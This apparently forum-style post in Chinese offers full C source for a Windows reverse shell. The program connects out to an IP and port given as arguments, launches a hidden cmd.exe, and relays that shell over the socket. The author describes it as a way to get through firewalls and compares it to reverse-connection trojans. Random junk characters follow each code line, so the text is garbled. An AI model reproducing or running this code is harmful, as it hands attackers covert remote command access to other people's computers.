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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {(7D=\eU  
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/* ============================== 7L[HtwI  
Rebound port in Windows NT c3gy{:lb  
By wind,2006/7 M-!eL<  
===============================*/ ?"p:6%GFz  
#include =?`5n|A*  
#include }}3*tn<6  
7-M$c7S  
#pragma comment(lib,"wsock32.lib") Vrf+ ~KO7  
gY], (*v  
void OutputShell(); B)F2SK<@  
SOCKET sClient; +w-UK[p  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v^aARIg  
l-yQ3/:  
void main(int argc,char **argv) ZhKYoPIq  
{ Ns-cT'1-  
WSADATA stWsaData; G .~Psw#  
int nRet; *f~X wy"  
SOCKADDR_IN stSaiClient,stSaiServer; /;M0tP  
GNXQD}L?b?  
if(argc != 3) TxhTK5#f  
{ ,w|f*L$  
printf("Useage:\n\rRebound DestIP DestPort\n"); jfyV9)  
return; zh$[UdY6  
} q/,W'lQ\;  
MOJ-q3H^W  
WSAStartup(MAKEWORD(2,2),&stWsaData); 6&=xu|M<x=  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (9h{7<wD`  
fW Vd[zuD4  
stSaiClient.sin_family = AF_INET; D-.XSIEMu  
stSaiClient.sin_port = htons(0); Ox"4 y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?aInn:FE  
+]Oq{v:e  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) o y! W$ ?6  
{ 29g("(}TK  
printf("Bind Socket Failed!\n"); (=${@=!z  
return; Sd.i1w &  
} [8/E ;h  
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stSaiServer.sin_family = AF_INET; ^f{+p*i}:  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); tvptaw A.  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); XljiK8q;%  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Y%$57,Bu n  
{ WlVC0&  
printf("Connect Error!"); wO!k|7:Z  
return; AigL:4[  
} $|!VP'VI  
OutputShell(); {A4"KX(U  
} A%n l@`s,  
M_V\mYC8I  
void OutputShell() M'D;2qo  
{ c"%XE#D  
char szBuff[1024]; 2.Ym  
SECURITY_ATTRIBUTES stSecurityAttributes; hq/k}Y  
OSVERSIONINFO stOsversionInfo; 6hSj)  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F;jl0)fBR=  
STARTUPINFO stStartupInfo; $kJvPwRO  
char *szShell; GLA,,i'i9  
PROCESS_INFORMATION stProcessInformation; !3K6ew>Sf  
unsigned long lBytesRead; O qDLb  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z>Nr"7k  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); JoA^9AYhR  
stSecurityAttributes.lpSecurityDescriptor = 0; L<Q1acoZm  
stSecurityAttributes.bInheritHandle = TRUE; ;$(a+?  
+bvY*^i  
Q"CZ}B1<  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MP?9k)f  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ):eX*  
*&>1A A  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); St/Hv[H'[E  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yt2_*K@rC  
stStartupInfo.wShowWindow = SW_HIDE; eJ>(SkR:[  
stStartupInfo.hStdInput = hReadPipe; ;Gxp'y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3a9Oj'd1M  
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GetVersionEx(&stOsversionInfo); J'y*;@4l^:  
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switch(stOsversionInfo.dwPlatformId) Ul OoMGg  
{ m.-l&@I2/<  
case 1: PdJtJqA8h\  
szShell = "command.com"; b&p*IyJR  
break; Os9xZ  
default: 4xU[oaa  
szShell = "cmd.exe"; [g/Hf(&  
break; '=@O]7o~  
} \uQB%yMoz  
A[v]^pv'  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lRnst-inlI  
2t\a/QE)E  
send(sClient,szMsg,77,0); 3> -/sii  
while(1) |)i- c`x  
{ Y1txI  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [zIX&fPk$  
if(lBytesRead) \?h +  
{ #B|`F?o  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M[D`)7=b  
send(sClient,szBuff,lBytesRead,0); #ldNWwvRGj  
} 4(2}O-~  
else sN 1x|pkN  
{ p+#J;.  
lBytesRead=recv(sClient,szBuff,1024,0); O9oVx4=  
if(lBytesRead<=0) break; 83:m 7;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }Gr5TDiV0\  
} !)ey~Suh  
} ow]S 3[07  
B+eB=KL  
return; g=Q#2/UQ<  
}
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